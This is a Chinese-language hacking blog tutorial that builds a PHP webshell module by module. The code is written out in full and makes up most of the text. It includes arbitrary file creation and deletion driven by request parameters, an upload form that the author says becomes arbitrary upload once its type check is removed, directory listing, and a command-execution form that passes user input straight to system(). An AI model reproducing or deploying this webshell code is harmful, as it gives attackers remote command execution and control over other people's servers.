帶你走進php大馬的結構模塊編寫之路
本文原創作者:Laimooc
第一部分:前沿綜述
本次我主要寫了【文件的創建】、【文件的刪除】、【文件的上傳】、【目錄瀏覽】、【命令執行】小模塊,以及【組合的目錄瀏覽和文件刪除功能】的模塊:
實驗環境:
系統環境:winserver 12 r2 datacenter
腳本運行環境:PHP version7.0.24
第二部分:代碼編寫講解
【文件創建】
作者是借助form表單值傳遞,以及使用fopen和fwrite進行創建文件的。
具體的研究過程,我們結合代碼來說明:
<form method="" action="">
Filename:<inputtype="text" name="file" value="" />
這裏我們是使用input標簽,設定name值(這個,我們後面的php腳本中需要使用的,需要記住):
我的代碼如下,大家請指導:
File_content:<inputtype="textarea" name="file_content"style="width:300px;" value="" />
這裏我們是接受form表單傳遞你要寫的文件內容,有想深入的表格,可以對內容的寫入上做出一些編碼解碼等的操作
<input type="submit" name="submit" value="Create">
這裏是提交按鈕
</form>
<?php
error_reporting(0);
//這裏我們設置了錯誤等級為0
$filename=$_REQUEST[‘file‘];
//這裏接受我們的文件名字
$file_content=$_REQUEST[‘file_content‘];
//這裏接受我們的文件內容
$myfile =fopen($filename, "a") ;
//這裏打開你事先設定的文件,如果沒有會創建一個新的(由寫入屬性a a+ w w+ r r+ ab ab+等控制)
fwrite($myfile,$file_content);
//這裏執行fwrite函數寫入內容
fclose($myfile);
//關閉寫入的文件
?>
【文件刪除】
下面是我們的刪除文件代碼,依然是借助了form表單,這樣主要是為了操作起來方便,不用form表單也可以操作,只是比較麻煩(get或者post請求等)
代碼如下:
<form method="" action="">
Filename:<inputtype="text" name="delfile" value="">
<inputtype="submit" name="submit" value="delete">
</form>
form表單的意思同上述我們闡述的意思,不再介紹,不懂的同學,可以下方留言給我,第一時間必回復
<?php
error_reporting(0);
//刪除文件
$delfile=$_REQUEST[‘delfile‘];
if(!isset($delfile)){
exit;//判斷是否設定了delfile
}
else{
if (!unlink($delfile))
{
echo ("Error delete $delfile");
//如果沒有權限等其他原因文件未刪除時候的信息
}
else
{
echo ("Deleted $file");
//刪除成功的返回
}
}
/*
使用方法:finame中輸入1.txt 表示當前文件夾下的文件,可以輸入指定文件夾中的文件如:/upload/1.txt ,即可。
刪除成功的話:返回Deleted fiel 失敗的話返回ErrorDelete。。。
*/
?>
【文件上傳】
文件的上傳,這個是大家應該比較多見的了,文件類型的限制啦、存儲等(如果作大馬的話,當然是任意文件上傳啦),不再詳細的解釋直接展示一下代碼,如果大家有什麽不懂之處也可以在下方留言給我:
代碼如下:
<form action="" method="post" enctype="multipart/form-data" />
<label for="userfile">Upload file</label>
<input type="file" name="file" id="file"/>
<input type="submit" value="send file"/>
</form>
<?php
error_reporting(0);
//設置允許上傳的mime類型,直接刪除下面一段代碼的話,則是任意文件上傳
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "text/plain")
|| ($_FILES["file"]["type"] == "application/octet-stream")))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";//獲取文件名稱
echo "Type: " . $_FILES["file"]["type"] . "<br />"; //獲取文件類型
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";//獲取文件大小
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";//文件上傳時的暫存目錄
//判斷文件是否已經存在
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
//從緩存目錄move文件到要上傳的目錄
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
exit;
}
?>
【目錄瀏覽】
文件的瀏覽,我還沒有仔細的研究,有深入研究的朋友,可以在下方回復代碼哇,一起進(fei)步(sheng),我的代碼比較垃圾:我直接指定了要遍歷的文件目錄,在編寫的過程中,我發現如果目錄不存在的話,會直接瀏覽器占用資源崩潰!!!
<?php
error_reporting(0);
header("Content-type:text/html; charset=utf8");
//讀取指定目錄 upload
$current_dir=‘upload‘;
$dir =opendir($current_dir);
echo ‘本文件:‘,dirname(__FILE__),‘\\‘,basename(__FILE__),‘<br/>‘;
//echo ‘當前文件:‘,__FILE__ ,‘<br/>‘ ;
while(false !==($file = readdir($dir))){
if($file != "." &&$file !=".."){
echo"<li>$file</li>";
}
}
closedir($dir);
?>
此外,參考了別人的dir()函數和getcwd(),覺得挺不錯的,可以結合使用,大家可以改造一下。
<?php
$d =dir(getcwd());
echo "Handle:" . $d->handle . "<br>";
echo "Path:" . $d->path . "<br>";
while (($file =$d->read()) !== false){
echo "filename: " . $file ."<br>";
}
$d->close();
?>
【命令執行】
命令執行,這是一個好玩的東西,php給了我們一些直接可以執行系統命令的函數: exec()、passthru()、system()、 shell_exec() 還有一個神奇的:反引號。
反引號,聽起來尬不?
我的研究是使用system進行執行命令的,然後結合form表單進行值傳遞,主要還是為了表單的美觀:
代碼如下:
<form method="" action="">
Command:<input type="text"name="exec" value="">
<input type="submit"name="submit" value="exec">
</form>
<?php
error_reporting(0);
$exec = $_REQUEST[‘exec‘]; //接收form表單傳遞過來的命令
system($exec);//可以替換為其他的執行函數
?>
【組合的目錄瀏覽和文件刪除功能】
本小節是為了拋磚引玉,整體的變幻構造組合等,需要大家共同努力,直接展示一下代碼:
代碼如下:
<?php
error_reporting(0);
header("Content-type: text/html; charset=utf8");
//讀取指定目錄 upload
$current_dir =‘upload‘;
$dir = opendir($current_dir);
echo ‘本文件:‘,dirname(__FILE__) ,‘\\‘,basename(__FILE__),‘<br/>‘;
//echo ‘當前文件:‘,__FILE__ ,‘<br/>‘ ;
while(false !== ($file = readdir($dir))){
if($file != "." && $file !=".."){
echo "<li>$file</li>";
}
}
closedir($dir);
?>
<form method="" action="">
Filename:<input type="text" name="delfile" value="">
<input type="submit" name="submit" value="delete">
</form>
<?php
//刪除文件
$delfile=$_REQUEST[‘delfile‘];
if(!isset($delfile)){
exit;
}
else{
if (!unlink($delfile))
{
echo ("Error deleting $delfile");
}
else
{
echo ("Deleted $file");
}
}
?>
第三部分:文章總結
本次研究是繼雙十一之夜,睡不著覺,就來發了一篇文章,希望得到大家的指導,路過請留言,一帶一路。
附件回原文下載<<<<<<<<
>>>>>>黑客入門必備技能 帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩!
帶你走進php大馬的結構模塊編寫之路